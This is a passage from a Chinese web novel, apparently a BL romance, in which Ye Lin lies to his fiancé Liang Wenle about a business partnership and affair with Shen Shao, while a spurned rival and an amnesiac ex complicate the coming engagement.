空气里没有熟悉的,顾嘉致常用的沐浴露香味。 因为打架,大部分家具都被清理,还没有添置新的。 客厅没有沙发,茶几,电视,看起来格外地宽敞。 叶临只好去了卧室,躺下来看天花板发呆。 好一会儿,电话铃声才把他拉回来。 是沈邵。 “快吃晚饭了,你怎么还不回来?” “我在顾嘉致的公寓,暂时不想回去。” “好。” 挂断电话,叶临侧过身去看旁边的衣柜。 里面还有顾嘉致最爱穿的冷色调衣服,跟梁文乐的花里胡哨完全不同。 恍惚间,他感觉真正的顾嘉致已经死了,就像梦里那样消失,而医院里的那个是假货。 忽然传来门铃响声,就像那天通宵的顾嘉致告诉他,要坐飞机回来,晚上到。 叶临立即爬起来,慌慌张张地跑去开门,张口就叫唤:“嘉致!” 看到门口站的是沈邵,他的眼神随之暗淡。 沈邵注意到叶临这副失魂落魄的模样,立即将他拉入怀里抱着,低声问:“你还在想顾嘉致?” 叶临的鼻音重,说话闷闷的:“我感觉医院里的不是顾嘉致,真正的顾嘉致死了。” 沈邵听到他的话,心里一沉,连忙解释:“是他,只不过他失忆了,所以不记得你。” 叶临将头埋进他的怀里,低声抱怨:“不是,顾嘉致才不会那样跟我说话,还嘲讽我!” 沈邵忽然觉得梁文乐不可怕,真正可怕是曾经的顾嘉致。 “他怎么嘲讽你的?” “他说我无耻,手段卑鄙,拜金”叶临在面对顾嘉致的嘲讽,总能有力地回击,但这并不代表,他不会记住这些词汇。 “不是的,你自信阳光,活怕开朗,总能给身边人希望。”沈邵摸摸他的脸,柔声安慰:“你的闪光点,足以遮盖住缺点。” 他刚开始遇到叶临,总觉得叶临可怜可笑,像个脆弱的蒲公英,四处飘荡。 可是接触久了,才发现蒲公英只要落地,就能扎根,奋力地生长,永远生机勃勃,永远不会低头。 不知不觉,目光就此锁定,再也移不开。 叶临开始骂顾嘉致:“他本来就没我厉害,还骄傲自满!你说,顾嘉致以后会恢复记忆吗?” 沈邵拿出手机,打开相册翻出梵星的几照片,从最初的破旧居民楼道现在的写字楼:“你非要在意他做什么,不是要发展梵星吗? 我记得你以前跟我说,梵星以后的市值会达到万亿,你还要做世界首富,我才加入梵星。 你在这里意志消沉,梵星怎么办,我怎么办?” 叶临看到梵星在短时间内的发展,内心颇有感触:“你现在相信梵星会成功了?” 沈邵捧着他的脸,盯着眼睛看:“信啊,是你的话,我就信。梵星肯定可以上市,你也能成为首富,我会一直陪着你,看你成功。” 叶临想到自己的事业,愁绪逐渐消失,又恢复到往常的自信姿态:“算你有眼光,对了,年底流水要是过千万,可以关注游戏领域,未来十年应该会很赚钱。” 这就是手拿剧本的好处,他知道梵星的发展历程,可以精准地提供战略发展方向。 沈邵点点头:“好啊,你的意见很有预见性,年底肯定关注。” 他们下楼,一路上都在讨论梵星的相关事宜,坐车回他们的小家,吃饭休息。 睡觉前,叶临已经彻底忘记顾嘉致带来的负面情绪,躺在沈邵怀里,专心地吹牛。 沈邵从来不打击,都是附和他,夸赞他,提供情绪价值,偶尔又要低头去亲,讨要好处。 叶临很满意沈邵的服务,他最开始还想换掉沈邵这个经理,但是现在却没有这个想法了。 沈邵的人品差劲,思想怪异,但是极具商业远见,管理公司的能力强,是个不可多得的人才。 梵星离不开他,叶临的胃也离不开他。 一大早,就有辆大车停在别墅门口,几个快递员正在卸货。 车厢里的货物都是精致包装,或是粉色,或是白色,都绑着蝴蝶结,全部都是梁文乐寄过来的衣服。 这些包装盒在客厅堆积成小山,大概有六七十套,每套还有别的配饰。 叶临刚从公寓回来,看见这些就两眼一黑。 随便拿了五套,上楼换好,挨个录视频发给梁文乐,躺下睡觉。 梁文乐接收到视频,发现叶临录得很敷衍,打电话过去想教训人,结果打不通,只好发文字。 这时,忽然有条消息弹出来。 【文乐,我有叶临的私。密照,加我微信发给你。】 是陌生号码,看起来很有问题。 梁文乐把号码发给黑客查询,自己加了微信。 【文乐,叶临背着你勾搭沈邵,你被他骗了!】 【我派人跟踪他一个多月,发现他频繁出入沈邵的公寓,我给你看照片】 几十张照片发过来,都是叶临和沈邵在公寓附近散步的照片。 有叶临和沈邵靠在一起的,也有他们并排走,但没有接吻,或是牵手的。 画面大都是下午和晚上的时间点,光线昏暗,有些细节分辨不清。 梁文乐想起来,前段时间自己总是很忙,先是忙着布置约会场地,后面又是忙着筹备订婚宴,确实没机会管叶临的动向。 【而且叶临还跟沈邵合资开了个公司,沈邵负责管理,叶临负责投钱。文乐,你的钱被叶临骗去开公司了!】 对方发了很厚的文件,里面包含梵星的大部分信息,足以证明叶临和沈邵共同经营 梁文乐看完文件,手机差点握不住,整个人都要坠亡在花海里。 他忍不住想,叶临真的会背叛他,去跟沈邵欢好吗? 那个愿意骑车带他私奔,冒雨买药的叶临,真的会背叛他吗? 梁文乐刚刚经历过父母反对,私奔这种轰轰烈烈的爱情,尚且还沉浸在极致的热恋中,难以相信。 不一会儿,黑客就查明陌生号码来自于林弘,是国内发的。 梁文乐看到这个消息,总算安心。 林弘就是之前在游艇诋毁叶临的蠢货,后面被他踢得差点残废,在医院治疗了很久才好。 因为梁文乐,圈子里都不待见他,没有再让他加入任何聚会。 既然是林弘,可能会对叶临心存报复之心,捏造照片,编造谎言。 梁文乐立即删掉林弘的所有消息,不去看那些照片和文件,安慰自己:叶临是被贱人所害,根本不是叶临的错。 【文乐,你要信我,叶临是个男人就爱,特别花心!】 【林弘,你不想死的话,就滚远点,少来这里污蔑叶临!】 【我没有污蔑,我说的都是实话。我听说你还要跟这种人订婚,我真的不想你被骗。】 梁文乐没有给他机会发消息,立即删掉好友,点开叶临的聊天页面。 叶临的头像是他们亲吻的照片,那是他要求叶临换上的情侣头像。 照片里的叶临嘟着嘴,眼睛圆而大,特别可爱,像个笨蛋小猪,怎么可能会骗人呢? 梁文乐继续给叶临找说辞,又忍不住去怀疑梵星这家公司,找人帮他查梵星的所有发展历程。 做完这些,他就继续低头挑选花朵。 可是跟昨天兴致勃勃不同,今天忐忑不安,就像是站在悬崖边上,随时会坠落。 挑了半天,一朵花都没记住,脑子里全是林弘说的那些话。 怀疑的种子一旦种下,就会慢慢地生根发芽。 梁文乐放下手里的花,跑去房间收拾行李,要去附近的私人飞机场乘坐飞机,立即回去。 一刻也待不下去了,他现在就要回去看着叶临。 他要听叶临亲口解释,不然他连觉都睡不好,更别说筹备订婚宴了。 林弘被删掉后,立刻就把手机砸了,大骂梁文乐愚蠢,叶临卑鄙。 他真的恨这对情侣,想戳穿这一切。 让梁文乐尝尝被戴绿帽的滋味,再教训叶临,从而达到报复的目的。 可梁文乐偏偏不信,这就很气人? 虽然侦探没有拍到沈邵和叶临的接吻照,但共同经营公司,一同出行,足以说明他们关系暧昧。 梁文乐居然不信,这对吗? 林弘不信邪,感觉是私人侦探没用,于是拿起相机,开车去了沈邵的公寓附近。 他这次打算亲自潜入进去,势必拍到亲密照,让叶临和梁文乐的关系破裂。 为了拍得更清晰,他躲到公寓门口的花坛附近,架着相机对着门口。 结果等了很久,都没有看到沈邵,反而感觉身后一沉,有人把手放在他的肩膀。 “你在这里拍什么?” 林弘感觉身后传来冷气,吓得浑身僵住,慢慢地扭头。 结果是沈邵眯着眼,笑着看他。 “啊!”林弘吓得跳起来,连忙藏起相机,故作平静:“怎么是你?” 沈邵的目光落在他的背后:“这次不是专业侦探,怪不得被我抓到。” 林弘被发现,没招数立即耍无赖:“我没有偷拍哈,是你看错了。” 沈邵脸上的笑意消失,瞳孔反射出冷光,低声下命令一样:“梁文乐订婚宴的前一天,下午五点。你来梵星门口的玉兰树附近,我保证你能拍到我和叶临的接吻视频。” 林弘瞪大双眼,还没反应过来。 沈邵再次笑起来,和颜悦色地解释:“你不是想拍我和叶临的照片吗,我这是在帮你啊。 但你答应我,必须在梁文乐订婚宴当天,只让他一个人看到,不能提前,不能延后。” 还是明亮太阳天,林弘却感觉来到阴气沉沉的地府,脊背却生出寒意,声音都在发抖:“你,你恨梁文乐?” 沈邵的笑容诡异,是满足,是兴奋,是痛快,是仇怨。 “你不觉得,订婚当天,满心欢喜的梁文乐发现爱人背叛,会很有意思吗?” 林弘点点头,下意识地服从:“是是是,你说的对,很有意思。” 沈邵重重地按住他的肩膀,声音似丧钟在敲响:“我说的,要一字不落地做到。梁文乐心软没让你残废,我可不会。” 林弘感觉大白天撞鬼了,连声答应,落荒而逃。 沈邵拎着一堆买菜的袋子,若无其事地走进公寓里,准备去做午饭 他步履缓慢,没入阴影之中。阳光在他身后,明媚灿烂。 自古以来,原配抓。奸都是最好证明身份的场合。 他倒要看看,订婚当天,叶临同时面对他这个小三和原配梁文乐,会做出什么选择。 真的很期待…… 第41章 第41章“你跟沈邵合伙开公司!”…… 梁文乐到家后,看到客厅堆积的小山,就知道叶临压根没有试穿完衣服,只试穿了五套发给他。 圆圆跨越重重叠叠的礼盒,吐着舌头朝着梁文乐跑过来,伸出毛*茸茸的白爪子蹭裤子,要求抱抱。 梁文乐蹲下来抱住圆圆,摸摸它的头,低声问:“圆圆,叶临这几天都在家吗?” 圆圆汪汪的叫起来,顺着梁文乐的手蹭,想要吃零食。 梁文乐拿过零食喂它吃:“圆圆,没有陌生人来家里对吧?我真的好担心,叶临会跑出去找别人。” 圆圆听不懂,只一味地蹭梁文乐,想要出去玩,它太喜欢在外面跑了。 梁文乐看时间已经是下午了,今天叶临应该没有遛狗,所以圆圆才会异常热络。 早上不去遛狗,那叶临去哪里了? 梁文乐哄圆圆在楼下等着,自己跑上二楼去找。 结果在房间发现熟睡的叶临,抱着被子,脸颊都被枕头压出印子,看起来很柔软。 梁文乐伸出去捏,目光顺着领口往里面看,没有发现痕迹。 紧接着,他又解开扣子检查,还是没有。 “嗯”叶临感觉到凉意,眯起眼睛去看,发现是梁文乐,吓得完全睁开眼睛:“文,文乐,你怎么回来了?” 如果是在外面跟男人过夜,应该会留下痕迹。身上没有,那概率就小了很多。 梁文乐目光落在地上的礼服上面,没有说话。 叶临看到礼服,立即反应过来,连忙道歉:“文乐,礼服太多了,我一天试不完,可以慢慢试吗?” 梁文乐冷哼一声:“那你昨天只试了五套礼服,你去做了什么,才会睡到现在,连圆圆都不遛了?” 昨天晚上跟沈邵折腾到凌晨三点,回来只能补觉,怎么有精力去遛圆圆。 还好沈邵懂分寸,没有留下任何痕迹。 他还以为梁文乐会在国外待很久呢,没想到今天就回来了,真是措不及防。 要是现在梁文乐突然跟他亲热,应该会被发现吧,必须想办法遮掩。 叶临想了想,故作虚弱:“文乐,我昨天试完衣服,好像是着凉了。头特别疼,吃完药就早早地睡下了,所以睡到现在。” 梁文乐想到前不久叶临发高烧住院三天的事情,心存愧疚。 听到他头疼,就慌了神,连忙帮叶临穿好衣服,要他躺下来休息,还把空调温度调高。 “那你现在感觉怎么样,好点了吗,还痛不痛啊?” “有点晕晕,刚刚还感觉冷。” 叶临说完就开始打喷嚏,假意伪装成受寒感冒的样子。 梁文乐哪里还想审问他,赶紧找家庭医生上门查看他的身体状况,还非常自责,刚刚不应该检查,害得叶临着凉。 医生上门检查,发现叶临的身体健康,营养均衡,根本没有感冒,如实转告。 梁文乐不相信医生的话,反复询问叶临的身体情况,眉头紧锁,神情担忧:“那叶临怎么会咳嗽难受啊,他还觉得头疼,需要转移到医院检查吗?” 医生看着叶临欲言又止,也不是第一次做富人的家庭医生,帮贵妇瞒过丈夫,帮公公瞒过媳妇,只好拿出一个对身体无害的营养药剂:“他之前生过病吗?” 梁文乐把叶临冒雨发高烧的事情完整地叙述出来,心疼地鼻酸:“是那个时候发高烧的后遗症吗,叶临的身体从此就坏了?” 医生听完叙述,发现已经是十几天以前的事了,而且叶临现在的身体无疑比之前强壮健康。 哪里会是发高烧的后遗症,明明是梁文乐担心过度。 可是雇主很爱病人,那病人有一点不舒服,雇主就会觉得有问题病情好医治。 感情难以干预。既然身为家庭医生,情商还是要高。 医生看了叶临几眼:“应该是之前的高烧伤到身体,病人又喜欢呆在家里不出去运动,所以容易虚弱。多休息几天就好了,实在不行,可以吃药。” 梁文乐心情放松下来,还以为他又要害叶临生病,连忙帮叶临掖好被子:“那他去医院调养身体吧,感觉他以前身体挺好的。” 医生沉默片刻,委婉劝解:“不用了,没什么大问题,你多陪陪他就好了。” 叶临听完,心里发虚,都不敢说话。他的身体确实没问题,纯粹是装的。 虽然不知道医生为什么要帮他,但这个时候肯定要附和:“对啊,文乐,我休息几天就好了,不用调养。” 医生点点头,收拾东西准备走人,转过身的时候忍不住翻白眼。他感觉自己来这一趟,纯粹就是小情侣play中间的一环。 梁文乐上次在医院守了两天两夜,看着叶临的脸上毫无血色,虚弱得睁不开眼说话,非常心疼。 他从未见过这样脆弱的叶临,所以现在听到叶临着凉头疼就会害怕。 “你真的没事吗,这里疼吗?”梁文乐伸出手去摸额头,音量很小,生怕吓到他。 “没事,我躺着休息一会儿好。应该是昨天及时吃药,早早地休息,就没有着凉感冒。”叶临感觉到梁文乐手心里的热意,心跳陡然增速,紧张得不行。 “还好我没有害你感冒,我刚刚就不应该那样。”梁文乐非常自责,语调往下,心情低落,懊悔自己应该更加理智一点。 “没事,我又没感冒,文乐不要自责。对了文乐,你挑完花了?”叶临庆幸梁文乐不生疑,那就顺势安慰。 “还没有,我,我就是担心你才回来。”梁文乐说完就后悔了,他觉得自己应该对伴侣坦诚的,现在撒谎,后面肯定会酿成大祸。 “是吗,可是我感觉文乐有话要问我?”叶临太熟悉这位少爷,心里根本藏不住事,慌张的眼神和不坚定的语气已经暴露心中的疑虑。 与其等梁文乐主动怀疑他,不如他先给梁文乐开口的机会,这样才好掌握主动权。 “伴侣之间坦诚才能过得长久。文乐有什么话,可以直接说的,我没关系。” “有是有,但是等你身体好了再说吧,我就是”梁文乐纠结一会儿,还是忍不住问出来:“我发现你跟沈邵合伙开了一家梵星的公司,为什么?” 叶临的大脑宕机了片刻,迅速开始分析情景。 沈邵是梁文乐的初恋,他是梁文乐的男朋友。初恋和男朋友应该是敌对的关系,结果现在合伙开公司,就很暧昧。 梁文乐不在意金钱,只在乎感情。 既然能问出梵星,肯定是怀疑他和沈邵的关系是否清白。 这这这 而且,梁文乐为什么会怀疑他和沈邵的关系呢? 难道是之前的跟踪? 那个私人侦探是梁文乐派出去的? 感觉不太像,梁文乐没有脑子,大部分时间都能被他忽悠过去。这次突然发难,应该是被人鼓动。 既然是被鼓动,那他的重点就是装可怜无辜。 梁文乐喜欢他,又不是喜欢那个鼓动的人,只要掌握好感,就能扭转战局。 分析完毕后,叶临已经想出解决的办法,脸色平静地撒谎:“文乐,你还记得之前顾嘉致离开顾家去创业的事情吗?” 梁文乐点点头,他曾经跟叶临调侃过,觉得顾嘉致不正常。 叶临看到他茫然的表情,瞬间就有了底气:“其实,不是我跟沈邵合伙开公司,是帮顾嘉致的忙。 当时我听你说完,就觉得顾嘉致想不开。后来,顾嘉致就跑来找我帮忙。 原来,他找到沈邵开了一家名叫梵星的小公司,但是资金周转困难,很需要钱。 可是他好面子,也不好意思找你,几经周折找到我,希望跟我借钱,帮忙周转。 我本来不想帮顾嘉致的忙,但他当时真的好可怜。被家里断了经济来源,只能坐飞机经济舱,车都卖了,浑身上下只剩下几万块。 想到是文乐的好朋友,我就借给他几千万,帮梵星周转。 他还叮嘱我要保密。因为怕文乐嫌弃他,也不想在昔日朋友面前丢人等到梵星发展起来,他才好意思找你入伙。 文乐,你也看到了,他跟顾柘架,都进了ICU。因为顾伯父顾伯母偏心顾柘,给了顾柘所有资源,没有给他。 他被逼得没办法,才出去创业,真挺不容易的。我投资梵星,是借文乐的名义帮顾嘉致,不是帮沈邵的。” 梁文乐听完他的话,感觉所有事情都串联上了。 顾嘉致因为顾柘受刺激,跑去创业,过得凄凄惨惨的,都不敢跟他说。 后来顾嘉致跟顾柘打架,叶临才刚好在现场劝架,又把他们送进医院。 他也是个好面子的人,知道好朋友顾嘉致的顾虑。要是他跑去创业,过得惨,也不敢告诉顾嘉致,那样太丢人了。 所以叶临才一直不告诉梵星的事情,都是为了维护顾嘉致的面子,帮助他这个好朋友。 但怎么总感觉叶临跟顾嘉致的关系暧昧? 梁文乐握住叶临的手,心里不安:“你真是看在我的面子,才帮顾嘉致,而不是跟他有私情?” 叶临心慌得厉害,连忙解释:“文乐,你也知道,顾嘉致是直男,顾伯父顾伯母又不能接受同性恋。我想跟他有私情,他都不敢吧。” 梁文乐咬牙抱怨,愤愤不平:“我就是觉得,你对顾嘉致太好了。让他穷呗,谁让他不来找我,偏要找你?” 叶临下意识地靠进梁文乐的怀里,轻轻地捏手腕,委屈巴巴地哼唧两声:“你明明知道顾嘉致不好意思找你,才找我的。而且,我还想问文乐一句话呢,你现在还喜不喜欢沈邵了?” 梁文乐低头去看他,发现他眼尾低垂,神情委屈:“你问这个做什么?” 叶临努了努鼻子,想了想那些吃醋无理取闹的人,用哭腔抱怨:“你那些朋友都说,你暗恋沈邵十多年,还为他守身如玉。刚开始你还要我跟你签恋爱合约,我当然在意了。 你想想,你的男朋友有个喜欢了十多年的初恋,当然会患得患失,害怕他旧情复燃,不喜欢你了。” 梁文乐轻轻地去刮他的鼻子,得意地问:“你吃醋了?” 叶临捏起小拳头,轻轻地捶梁文乐的胸膛,娇声娇气地回答:“不然呢!我喜欢你,才在意你的初恋啊! 我还借着投资梵星的名义,打听清楚沈邵住在哪里,经常盯着他,就怕他偷偷地跑来找你,要你帮忙,那你们在一起,我就心碎了。” 梁文乐抓住他的双手,低头去亲,满足地闭上眼,由衷地感慨:“当初签合同,谁知道会喜欢你?真是造化弄人!” 叶临痛恨自己不是泪失禁体质,不然现在再掉几滴眼泪,表演效果会更好。 他哼了一声,又去抓梁文乐的衣领,轻声轻语:“你真的喜欢我,不喜欢沈邵了吗?如果你喜欢沈邵的话,就不要跟我订婚了,我不要这种有杂质的爱情。” 梁文乐爱死他这副吃醋的劲,忍不住按住亲了好久,眼睛湿润了才放开,摸摸眉心:“当初我年纪小不懂事,误把胜负欲当成喜欢。其实我也不是想跟沈邵谈恋爱,只是想赢过他而已。 对你才是喜欢。会在意你去哪里,跟谁在说话;会担心你生病,送礼物的时候;总是愧疚送的不够好,想要给你最好的。” 叶临笑起来,轻轻地戳梁文乐的心口:“你已经把最好的给我了,其他的不需要。以后你心里只有我,那我就是世界上最幸福的人!” 梁文乐捉住他的手,沉声警告:“少撩我,省得我不管你生病,硬来。” 叶临故作娇羞地钻进被子里躲起来:“我,我要休息,才不给你!” 梁文乐像是在看一只逃进洞里的小兔子,眉眼舒展开来,心情舒畅。 叶临躲了一会儿,又探出半张脸,小心翼翼地试探:“你不要怀疑我跟别人有私情了,我还怀疑你呢!” 梁文乐看到他眼睛亮亮的,忍不住凑过去亲。 叶临连忙合上被子,像只河蚌,遇到危险就紧急闭壳,不给坏蛋得逞。 梁文乐不再逗他,下楼去忙活订婚宴的事情。 听到脚步声远去,叶临才钻出来透气。 他挺佩服自己的反应能力,如果刚刚顺序的弄错,大概率会被梁文乐发现。 只要让梁文乐认定,他吃沈邵的醋,就可以高枕无忧。 至于顾嘉致,这小子都失忆了,相当于死无对证。 想到这里,叶临又庆幸顾嘉致失忆了。这样梁文乐去对口供,也不会出现问题。 “汪汪汪!” 圆圆趁着梁主人不注意,突然跑上来,闯进卧室里。 它吐着舌头,歪头看床。上的叶临,抬起爪子放在床沿。 叶临摸摸它的头,就想下楼去遛狗。 可是想到他还需要装病,只能忍痛低声劝圆圆:“你去找文乐吧,我暂时不能陪你玩。” 圆圆委屈地耷拉耳朵,在旁边蹲着陪叶临,轻轻地摇尾巴。 叶临忍了又忍,傍晚的时候还是下楼遛狗。 没有人谁能抵挡得住微笑天使萨摩耶的撒娇,他也不例外。 梁文乐正在客厅的沙发上看资料,是关于梵星的。 根据资料来看,梵星最先是沈邵起头,后面又搭上了顾嘉致。 平时都是沈邵管理公司,而顾嘉致在外应酬,叶临也投了几千万,全程不出面,只在幕后。 确实符合叶临的说辞,但并不能100%证明他们的清白。 除非是把梵星的员工拉到面前挨个询问,再调查梵星的监控,才能证明。 可是抬头看到叶临穿着宽松的家居服牵着圆圆下楼,就幻视婚后的甜蜜日常。 都快订婚了,为了这种子虚乌有的事情怀疑伴侣,完全不值当。 梁文乐站起来,走到叶临旁边,陪着他去遛狗。没有再计较梵星的事情,只是要求叶临以后不能再投资梵星。 叶临嘴上答应不投资梵星,私底下还是会电联沈邵,但很少见面了。 四天后,他们一同来到医院看望顾嘉致。 天晴后,阳光从透明玻璃透进来,医院病房格外明亮,还能看到外面的人工蓝色湖水。 不过顾嘉致病房里的窗帘拉得很严实,他还躺着用手柄,看头顶的投影打游戏。 病房昏暗,充斥着游戏里的攻击音效。 听到开门声的时候,顾嘉致以为是叶临,下意识地骂:“不是说不来了,还来做什么!?” 梁文乐听到这句话,大声质问:“顾嘉致,你在跟谁说话?” 顾嘉致放下手柄,注意到梁文乐和他身后的叶临,立即收敛怒色:“啊,原来是文乐啊,我还以为是某个撒谎精呢。” 叶临听到他的话,立刻就对上眼神,怒而不语,紧紧地抓着梁文乐的手。 梁文乐走过去把窗帘拉开:“关窗户做什么,多晒太阳才好嘛。你看外面的湖水多蓝,阳光多明媚。” 顾嘉致无奈地翻白眼:“哎呀,这破湖我都看好久了,没啥意思,关窗帘是为了方便打游戏。” 梁文乐拿出红色的烫金请柬递过去:“十天后,我的订婚宴,你要来吧,我可是亲自来给你送请柬呢!” 顾嘉致拿到请柬的瞬间,目光就落在叶临的身上,欲言又止。 梁文乐见他没反应,还以为他心情不好:“你怎么回事,谁惹你生气,要把气撒在我身上?” 顾嘉致摇摇头,把请柬放在桌上:“没谁了,就是烦人的亲戚。文乐,婚姻可是人生大事,你真的决定好了?” 梁文乐坐下来跟他得意地吹嘘:“对啊,我都决定好了,我要跟叶临过一辈子。 当初是你劝我跟叶临签恋爱合约的,算下来你就是我们之间的月老,所以订婚宴你一定要出席!” 顾嘉致愣住,眼皮微抽:“啊,啊?我劝你们签什么恋爱合约,月老?” “哦,你忘记了。之前在酒吧,我带叶临进来跟兄弟们玩。当时,我要追沈邵,叶临就提议我跟人搞暧昧,气气沈邵。 我本来想找你的,但是你小子是直男,死活不情愿,就推荐叶临。从此我就跟叶临纠缠不断,假戏真做,成真情侣了!” “我,我有做过这种事吗?” “有,我和叶临都记得,你是我们的月老。” 梁文乐挽住叶临的手腕,冲他眨眼。 叶临配合地笑起来,看着顾嘉致,忽然觉得“直男”这个词很讽刺:“对,当时你就说自己是直男,还撮合我和文乐。” 顾嘉致的脑海里忽然浮现一些画面,是醉酒后脸红的叶临冲着他笑,“姓顾的,今天全场就你最正常,可以交个朋友!” 以及叶临在吃冰淇淋,嘴唇红红的,脸颊白皙,眼睛水润,看起来清纯勾人。 梁文乐见顾嘉致走神,半天没反应,伸出手凑到眼前去挥:“哎!你想不起来,就不要硬想,待会儿头疼,又要叫!” 顾嘉致看向叶临,眼眶莫名酸涩,心中有无数情绪翻涌:“我们在酒吧见过?” 叶临面对他,很难再起多大的情绪波动,平静地叙述:“我们第一次见面就是在酒吧,是梁文乐带我去的,你是他的好朋友。” 顾嘉致听到这句话,余光瞥向旁边的请柬,莫名感到痛苦。 他最初知道自己失去了某段记忆,以为不算重要,但现在却感觉整个心脏都空了,很茫然。 梁文乐想到好朋友这个词,指着顾嘉致的眉心质问:“你小子跟沈邵在外面开公司,遇到困难居然不找我,找叶临帮忙,是不是没把我当朋友!?” 顾嘉致对这个没印象,随口问:“什么破公司啊,我怎么不记得。” 叶临淡定回复:“梵星。” 听到这个词的瞬间,顾嘉致就感觉大脑剧痛,恨不得锯掉半个脑袋,浑身开始冒冷汗。 太疼了,从脑袋开始向四肢发散,紧接着心脏都像是被烈火炙烤,反复翻动,水分蒸干,萎缩蜷曲。 “好疼”顾嘉致都不知道该去捂头,还是心脏,脸色惨白,瞬间就变得奄奄一息。 梁文乐吓得连忙按铃叫医生,劝他不要再想了。 叶临也担心他的病情,连忙退到梁文乐背后,避免顾嘉致看到自己,省得又回想过去,致使头疼。 医生来了以后,就劝他们先离开,要用专门的仪器治疗。 顾嘉致的视线模糊,依稀看见叶临的身影远去,下意识地抬手去抓,却只有空气。 他弄不明白。 梁文乐只是来通知订婚消息,邀请他这个名义上的好朋友出席。 怎么会感觉到空虚和后悔呢? 他在空虚什么,在后悔什么? 为什么听到“月老”这个词会生理性恶心呢? 第42章 第42章有尾巴的叶临好可爱,想…… “我现在觉得顾嘉致可怜了,时不时就头疼。” “确实,还好失忆的不是文乐。” 梁文乐听到叶临这句话,马上意识到。要是他失去大学后的记忆,那就会忘记跟叶临经历的一切。 他们从恋爱走到订婚,历经波折。 如果失去这一段记忆,他的内心肯定空空的,非常绝望。 梁文乐摸了摸胸口,又抬眼看向旁边的叶临,由衷地庆幸:“还好,失去失忆的不是我。才不想忘记你呢,我要一直记得我们热恋的时光。” 叶临听到他感慨,从善如流地回应:“我也不想忘记文乐,要永远记住这段时光。” 梁文乐停下来,按住车门,忍不住倾身去吻。 叶临仰头,礼貌回应。 他们交换了一次漫长的吻,以此纪念他们所有的恋爱经历。 分开的时候,叶临的脸颊泛红,气息不匀,已经站不稳。 梁文乐注视着他的嘴唇和脸颊,思绪旖旎,迅速进入车里,想立刻开回别墅。 叶临坐上副驾驶座,就知道接下来等待的自己是什么。 他已经有好几天没有做过那种事情,待会儿不会被梁文乐发现。 而且梁文乐的技术也没有刚开始那么糟糕,比不上沈邵的高超,但也还算过得去。 车速很快,梁文乐恨不得立即到家,好好地享受。 叶临看着窗外不断往后退的景物,想到自己和顾嘉致的曾经。 记得刚住进公寓的时候,顾嘉致就喜欢赖在他身边,不肯回自己的卧室,偏要跟他挤。 本来很烦,可他拗不过顾嘉致,逐渐习惯睡觉的时候旁边有人。 但这些人又是不同的。 顾嘉致喜欢将他整个人搂在怀里,紧紧地贴着,所以会觉得热,难以忍受。 梁文乐只是搂着腰,把他当成大型的玩偶抱着,勉强忍受。 沈邵会让他枕着胳膊,随意乱动,并不会妨碍他的睡眠。甚至夜里还要起来帮他盖好被子,才再侧过身默默地看着他,最不烦了。 这时,叶临刚好看到手机消息提示,于是拿起来看沈邵的聊天界面。 【中午炖了鱼,过来吃吗?】 【我最近不来了,梁文乐知道我们开公司的事情,已经开始怀疑了。】 【哦,只是怀疑,没有跟你闹?】 【闹了。你不知道那天多惊险,我差点没瞒住。还好我急中生智,及时找借口,糊弄过去。】 叶临发完消息,就想得到沈邵的夸奖。 可是三分钟过去,对方都没有回答。 这就不对劲,明明他每次给沈邵发消息,都是秒回。 而且不管他分享什么,沈邵都会给予正向的反馈,今天也应该夸他才对。 怎么没有回复? 【你很忙吗?】 【还行。】 【那为什么我说骗过梁文乐的事情,你没有反应?】 【你需要我什么反应?】 【你已经快十天没过来吃饭了,更别说过夜。】 【你明明说好,哪怕是结婚以后,也会过来我这里。可是现在还没结婚,只是订婚前,你就能好几天不过来。】 隔着屏幕,都能感觉到沈邵满满的怨念。他打字的速度飞快,情绪波动大,内心饱受折磨。 叶临也想去沈邵那边吃饭,睡一个好觉,但是这几天梁文乐看得太紧,很难有机会过去。 【其实你根本做不到,婚后不可能来我这里吃饭,也不会管梵星了是吧。】 【我没有。】 恍惚间,叶临有种当渣男的感觉。好像自己在美人面前发誓,最后辜负美人的一番心意,坏透了。 啊,为什么会有这种感觉? 一旦习惯了去沈邵那里,就会觉得那是可以享受的地方,温柔乡都不过分。 现在面对沈邵的质问,他打字的时候都会感觉心虚。 叶临头疼不已,刚想再找理由,就听到旁边梁文乐的质问。 “你在跟谁说话,这么专注?” “朋友,他问我的订婚宴是什么样子的。” “哪个朋友?” “以前的,你不认识。” 叶临说到的这里的时候,已经隐隐有了不好的预感,立刻删掉沈邵的微信,划到某个网友的聊天界面。 “是吗?” “我怎么不信呢?” 叶临嘴上回着,已经给很多人发消息,说自己快要订婚了,有没有兴趣来。 他们发了很多问号,都忘记有他这号人物。 还没到别墅,车就已经靠边停下来。 梁文乐朝着旁边伸手,冷声命令:“手机,拿来。” 叶临把手机递过去,默默地在心里求保佑,祈祷梁文乐犯蠢,查不出来。 梁文乐翻完通许录,发现叶临都在给一些陌生人发消息,大都是说自己要订婚了,能不能来参加。 结果这些人都只是恭喜他,委婉地拒绝。 根本没有人愿意参加叶临的订婚宴,但他还是一个劲地发消息。 梁文乐抬头去看他:“你没看到他们都不愿意去吗,怎么不叫别人?” 叶临垂着头,很小声地回答:“我,我没有其他的朋友叫了,有些还都是网友。我不像文乐,可以召集满屋子的好朋友,只,只有他们了。” 梁文乐想到他跟自己谈恋爱以后,确实没有朋友,而且就算有,估计都是塑料友谊。 顿时觉得叶临很可怜,自己的订婚宴,没有家人,没有朋友。 梁文乐把手机还回去,试着安慰:“这些塑料朋友,趁早删掉,不愿意来是他们没福气!我帮你找朋友来,别伤心了。” 叶临暗喜,但还是要继续故作多愁善感:“可是,那都是文乐的朋友,不是我的朋友。 他们喜欢文乐,不喜欢我,肯定都嫌弃我是叶家的私生子。” 梁文乐猛地拍扶手:“他们怎么敢嫌弃你,你是我的订婚对象,当然跟我一样了。” 叶临抬眼去看梁文乐,羡慕之情溢于言表:“文乐,你真好。” 爱一个人,就会产生亏欠之情,还会心疼。 梁文乐心疼他从小没有家人,长大还没有朋友,顿时没了做那种事情的心情,掉头开向别处:“我带你去叶家,让他们跟你道歉。” 叶临连忙劝阻:“别了,我们保持现状挺好的。” 梁文乐热血上头,很难阻止。 叶临真不想见到叶家人,只好偏头去吻,红着脸劝告:“文,文乐,你不是说回家嘛。” 梁文乐得了香吻,又被勾起之前的念想。 心痒得厉害,探过身去,轻咬耳垂:“要不然,就在这里算了,我可忍不了。” 这里很少有人,也是在马路上,更何况还是青天白日,很容易被发现。 叶临连忙推开梁文乐,捂住自己,语气都结巴起来:“还,还是回家。大白天的,不要在这里。” 